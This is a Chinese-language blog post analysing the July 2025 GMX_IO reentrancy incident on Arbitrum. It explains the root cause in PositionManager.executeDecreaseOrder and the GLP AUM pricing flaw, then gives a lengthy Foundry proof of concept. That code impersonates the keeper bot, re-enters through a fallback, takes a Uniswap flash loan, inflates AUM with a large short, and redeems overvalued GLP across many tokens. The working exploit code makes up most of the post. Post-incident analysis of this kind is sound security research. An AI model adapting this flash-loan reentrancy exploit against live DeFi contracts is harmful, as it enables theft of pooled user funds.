GMX_IO Incident analysis & POC

Chiu Lv4

1. 背景简介

25年7月9日,Arbitrum 平台上的去中心化永续合约交易协议 GMX_IO 被攻击,攻击者利用退款逻辑中的重入漏洞劫持控制流,并通过GLP代币定价机制中的计算缺陷操控代币价格,从Vault攫取了大量利润

2. 漏洞根本原因分析

2.1 Root cause

PositionManager.executeDecreaseOrder() 函数隐式假设_account为EOA,但实际可以将合约地址导入rabby 钱包来伪装EOA,导致ETH退款逻辑可触发重入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function executeDecreaseOrder(address _account, uint256 _orderIndex, address payable _feeReceiver) external onlyOrderKeeper {
address _vault = vault;
address timelock = IVault(_vault).gov();

(
address collateralToken,
/*uint256 collateralDelta*/,
address indexToken,
uint256 sizeDelta,
bool isLong,
/*uint256 triggerPrice*/,
/*bool triggerAboveThreshold*/,
/*uint256 executionFee*/
) = IOrderBook(orderBook).getDecreaseOrder(_account, _orderIndex);

uint256 markPrice = isLong ? IVault(_vault).getMinPrice(indexToken) : IVault(_vault).getMaxPrice(indexToken);
// should be called strictly before position is updated in Vault
IShortsTracker(shortsTracker).updateGlobalShortData(_account, collateralToken, indexToken, isLong, sizeDelta, markPrice, false);

//只会在execute的时候将leverage打开
ITimelock(timelock).enableLeverage(_vault);
//此处存在reentrancy,在禁用leverage之前去调用Vault.increasePosition()开杠杆空头仓操控AUM
IOrderBook(orderBook).executeDecreaseOrder(_account, _orderIndex, _feeReceiver);

//禁用杠杆,防止直接调用Vault
ITimelock(timelock).disableLeverage(_vault);

_emitDecreasePositionReferral(_account, sizeDelta);
}

2.2 Contributing factors :

GlpManager.sol 处理杠杆仓位时,计算AUM的逻辑存在缺陷

AUM用于在GLP赎回过程中计算每个GLP对应的价值)
通过重入首次开空头仓时,仓位size会立即更新,但averageShortPrice更新滞后,导致系统认为开仓的价格为未更新的低价,所以仓位的未实现亏损被计入AUM( Vault为所有交易者的对手方,交易者亏钱Vault赚钱)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function getAum(bool maximise) public view returns (uint256) {
...
uint256 price = maximise ? vault.getMaxPrice(token) : vault.getMinPrice(token);
...
uint256 size = _vault.globalShortSizes(token);

if (size > 0) {
(uint256 delta, bool hasProfit) = getGlobalShortDelta(token, price, size);
if (!hasProfit) {
aum = aum.add(delta); // 未实现盈亏被计入AUM
} else {
shortProfits = shortProfits.add(delta);
}
}
...
}

2.3 漏洞利用

  1. 调用OrderBook.createIncreaseOrder()建仓,然后调用OrderBook.createDecreaseOrder()减仓触发重入
  2. 重入状态下,杠杆为开启状态,fallback()函数中:
    1. 借闪电贷
    2. 一部分贷来的USDC用于铸造GLP,待价格操控后赎回资产
    3. 另一部分贷来的USDC用于直接调用Vault.increasePosition()开大额空头仓
    4. 上述漏洞原因,AUM上涨,导致GLP价格被高估,此时用GLP赎回超额资产

3. POC

需要自己prank keeperBot的身份去执行订单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "./../../interface.sol";
import "./interface_gmx.sol";
import {Test, console} from "forge-std/Test.sol";

contract GMXReentrancyExploit is Test {
// 代币合约
IERC20 GLP = IERC20(0x4277f8F2c384827B5273592FF7CeBd9f2C1ac258);
IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
IERC20 Circle_USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
IERC20 USDC_e = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
IERC20 LINK = IERC20(0xf97f4df75117a78c1A5a0DBb814Af92458539FB4);
IERC20 UNI = IERC20(0xFa7F8980b0f1E64A2062791cc3b0871572f1F7f0);
IERC20 FRAX = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);
IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);


// GMX合约
IVault Vault = IVault(0x489ee077994B6658eAfA855C308275EAd8097C4A);
IPositionManager PositionManager = IPositionManager(0x75E42e6f01baf1D6022bEa862A28774a9f8a4A0C);
IGlpManager GlpManager = IGlpManager(0x3963FfC9dff443c2A94f21b129D429891E32ec18);
IOrderBook OrderBook = IOrderBook(0x09f77E8A13De9a35a7231028187e9fD5DB8a2ACB);
IGMXRouter Router = IGMXRouter(0xaBBc5F99639c9B6bCb58544ddf04EFA6802F4064);
IRewardRouter RewardRouter = IRewardRouter(0xB95DB5B167D75e6d04227CfFFA61069348d271F5);
IUniswapV3Pool UniswapV3Pool = IUniswapV3Pool(0xC6962004f452bE9203591991D15f6b388e09E8D0);
IPositionRouter PositionRouter = IPositionRouter(0xb87a436B93fFE9D75c5cFA7bAcFff96430b09868);
address KeeperBot = 0xd4266F8F82F7405429EE18559e548979D49160F3;

// 攻击状态
bool private inReentrancy = false;
bool private attackExecuted = false;
uint256 private flashLoanAmount = 7538000 * 1e6; // 7.538M USDC

function setUp() public {
console.log("=== Setting up GMX Reentrancy Attack Test ===");
//vm.createSelectFork("arbitrum", 355_878_385);
vm.createSelectFork("arbitrum", 355_880_237);
console.log("Forked Arbitrum at block: 355_878_385");

// 设置标签
vm.label(address(GLP), "GLP");
vm.label(address(WBTC), "WBTC");
vm.label(address(WETH), "WETH");
vm.label(address(USDC), "USDC");
vm.label(address(USDC_e), "USDC_e");
vm.label(address(USDT), "USDT");
vm.label(address(LINK), "LINK");
vm.label(address(UNI), "UNI");
vm.label(address(FRAX), "FRAX");
vm.label(address(DAI), "DAI");
vm.label(address(Vault), "GMX_Vault");
vm.label(address(PositionManager), "GMX_PositionManager");
vm.label(address(GlpManager), "GMX_GlpManager");
vm.label(address(OrderBook), "GMX_OrderBook");
vm.label(address(Router), "GMX_Router");
vm.label(address(RewardRouter), "GMX_RewardRouter");
vm.label(address(UniswapV3Pool), "UniswapV3Pool_USDC_WETH");
vm.label(address(PositionRouter), "GMX_PositionRouter");
vm.label(address(KeeperBot), "KeeperBot");


console.log("Contract labels set");
console.log("Setup completed\n");
}

function testReentrancyAttack() public {
console.log("=== GMX Reentrancy Attack POC Started ===");

// 记录初始状态
logPoolStatus("Test Start");

// 1. 准备初始资金
console.log("\n=== Step 1: Preparing Initial Funds ===");
deal(address(WETH), address(this), 1 ether);
deal(address(USDC), address(this), 10000 * 1e6);
deal(address(FRAX), address(this), 8_600_000 * 1e18);

console.log("WETH balance:", WETH.balanceOf(address(this)));
console.log("USDC balance:", USDC.balanceOf(address(this)));

// 2. 首先创建一个仓位用于减仓
console.log("\n=== Step 2: Creating Initial Position ===");
_createInitialPosition();

// 3. 创建减仓订单
console.log("\n=== Step 3: Creating Decrease Order ===");
_createDecreaseOrder();

}

function _createInitialPosition() internal {
console.log("Creating initial long position...");

console.log("Initial Order: create increase order");
console.log("size_delta:531064000000000000000000000000000,amountIn:100000000000000000");


address[] memory _path_increase = new address[](1);
_path_increase[0] = address(WETH);

Router.approvePlugin(address(OrderBook));
OrderBook.createIncreaseOrder{value: 0.1003 ether}(
_path_increase, //_path
100000000000000000, //_amountIn
address(WETH), //_indexToken
0, //_minOut
531064000000000000000000000000000, //_sizeDelta
address(WETH), //_collateralToken
true, //_isLong
1500000000000000000000000000000000, //_triggerPrice
true, //_triggerAboveThreshold
300000000000000, //_execitionFee
true //_shouldWrap
);

uint256 orderIndex = OrderBook.increaseOrdersIndex(address(this)) - 1;
vm.startPrank(KeeperBot);
PositionManager.executeIncreaseOrder(address(this),orderIndex,payable(KeeperBot));
vm.stopPrank();

// 验证仓位创建

(uint256 size, uint256 collateral, uint256 avgPrice,,,,,) = Vault.getPosition(
address(this),
address(WETH),
address(WETH),
true
);
console.log("Position created - Size:", size);
console.log( "Collateral:", collateral);
console.log( "Avg Price:", avgPrice);
}


function _createDecreaseOrder() internal {
console.log("Creating decrease order...");


// 获取当前仓位信息
(uint256 size, uint256 collateral, uint256 avgPrice,,,,,) = Vault.getPosition(
address(this),
address(WETH),
address(WETH),
true
);
require(size > 0, "No position to decrease");

// 创建减仓订单 - 这个订单执行时会退款ETH,触发重入
Router.approvePlugin(address(OrderBook));
OrderBook.createDecreaseOrder{value:0.0003 ether}(
address(WETH), // indexToken
size, // sizeDelta
address(WETH), // collateralToken
26517133600000000000000000000000, // collateralDelta
true, // isLong
1500000000000000000000000000000000, // triggerPrice - 市价订单
true // triggerAboveThreshold
);

uint256 orderIndex = OrderBook.decreaseOrdersIndex(address(this)) - 1;

vm.startPrank(address(KeeperBot));
PositionManager.executeDecreaseOrder(address(this),orderIndex,payable(KeeperBot));
vm.stopPrank();
console.log("Decrease order created with index:", orderIndex);
}

fallback() external payable {
console.log("Fallback called with value:", msg.value);

//FlashLoan
UniswapV3Pool.flash(
address(this),
0, //WETH
7538567619570, // USDC
abi.encode("attack")
);

}


function uniswapV3FlashCallback(
uint256 fee0,
uint256 fee1,
bytes calldata data
) external {
// 大部分拿去mintGLP
Circle_USDC.approve(address(GlpManager), 6000000000000);
RewardRouter.mintAndStakeGlp(address(Circle_USDC), 6000000000000, 0, 0);

//剩下拿去开仓,通过size操控aum,进而影响GLP价格
Circle_USDC.transfer(address(Vault),1538567619570);
Vault.increasePosition(
address(this),
address(Circle_USDC), //CollateralToken
address(WBTC), //IndexToken
15385676195700000000000000000000000000, //sizeDelta
false
);
//查询aum
console.log("AUM after Vault.increasePosition:", GlpManager.getAum(false));

//通过放大的glp价格去赎回超额资产
RewardRouter.unstakeAndRedeemGlp(address(WBTC), 386498977301112432466652, 0, address(this));
RewardRouter.unstakeAndRedeemGlp(address(WETH), 341596270985668652106658, 0, address(this));
RewardRouter.unstakeAndRedeemGlp(address(USDC_e), 7503268381089010018234, 0, address(this));
RewardRouter.unstakeAndRedeemGlp(address(LINK), 13453659795811394287419, 0, address(this));
RewardRouter.unstakeAndRedeemGlp(address(UNI), 21422748392865504694138, 0, address(this));
RewardRouter.unstakeAndRedeemGlp(address(USDT), 53812436696917217624679, 0, address(this));
RewardRouter.unstakeAndRedeemGlp(address(FRAX), 450568243197571194433982, 0, address(this));
RewardRouter.unstakeAndRedeemGlp(address(DAI), 53603497139685496377262, 0, address(this));

Vault.decreasePosition(address(this), address(Circle_USDC), address(WBTC),0, 15385676195700000000000000000000000000, false, address(this));
FRAX.approve(address(GlpManager),9000000000000000000000000);
RewardRouter.mintAndStakeGlp(address(FRAX), 9000000000000000000000000, 0, 0);
Circle_USDC.transfer(address(Vault),500000000000);
Vault.increasePosition(address(this), address(Circle_USDC), address(WBTC), 12500000000000000000000000000000000000, false);
RewardRouter.unstakeAndRedeemGlp(address(FRAX), 625160634213166340059183, 0, address(this));
Vault.decreasePosition(address(this), address(Circle_USDC), address(WBTC),0, 12500000000000000000000000000000000000, false, address(this));

FRAX.approve(address(GlpManager), 9000000000000000000000000);
RewardRouter.mintAndStakeGlp(address(FRAX), 9000000000000000000000000, 0, 0);
Circle_USDC.transfer(address(Vault),500000000000);
Vault.increasePosition(address(this), address(Circle_USDC), address(WBTC), 12500000000000000000000000000000000000, false);
RewardRouter.unstakeAndRedeemGlp(address(FRAX), 900073245171457173471826, 0, address(this));
Vault.decreasePosition(address(this), address(Circle_USDC), address(WBTC),0, 12500000000000000000000000000000000000, false, address(this));

FRAX.approve(address(GlpManager), 400000000000000000000000);
RewardRouter.mintAndStakeGlp(address(FRAX), 400000000000000000000000, 0, 0);
FRAX.transfer(address(Vault),10000000000000000000000);
Vault.increasePosition(address(this), address(FRAX), address(WBTC), 380000000000000000000000000000000000, false);
RewardRouter.unstakeAndRedeemGlp(address(Circle_USDC), 28776205561057925765426060, 0, address(this));
Vault.decreasePosition(address(this), address(Circle_USDC), address(WBTC),0, 380000000000000000000000000000000000, false, address(this));

Circle_USDC.transfer(address(UniswapV3Pool),7542336903380);

}



// 输出详细的池子状态
function logPoolStatus(string memory stage) public view {
console.log("\n--- Pool Status at", stage, "---");

(uint256 globalShortSize, uint256 globalShortAvgPrice, uint256 currentPrice) = getGlobalShortData();
console.log("Global Short Size:", globalShortSize);
console.log("Global Short Avg Price:", globalShortAvgPrice);
console.log("Current WBTC Price:", currentPrice);

uint256 initialAum = GlpManager.getAum(false);
console.log("Initial AUM:", initialAum);
}

// 查看全局空头数据
function getGlobalShortData() public view returns (uint256, uint256, uint256) {
uint256 globalShortSize = Vault.globalShortSizes(address(WBTC));
uint256 globalShortAvgPrice = Vault.globalShortAveragePrices(address(WBTC));
uint256 currentPrice = Vault.getMaxPrice(address(WBTC));

return (globalShortSize, globalShortAvgPrice, currentPrice);
}

}
  • Title: GMX_IO Incident analysis & POC
  • Author: Chiu
  • Created at : 2025-07-12 16:33:43
  • Updated at : 2025-07-22 16:38:51
  • Link: https://github.com/Idealist17/github.io/2025/07/12/GMX_IO_Incident/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments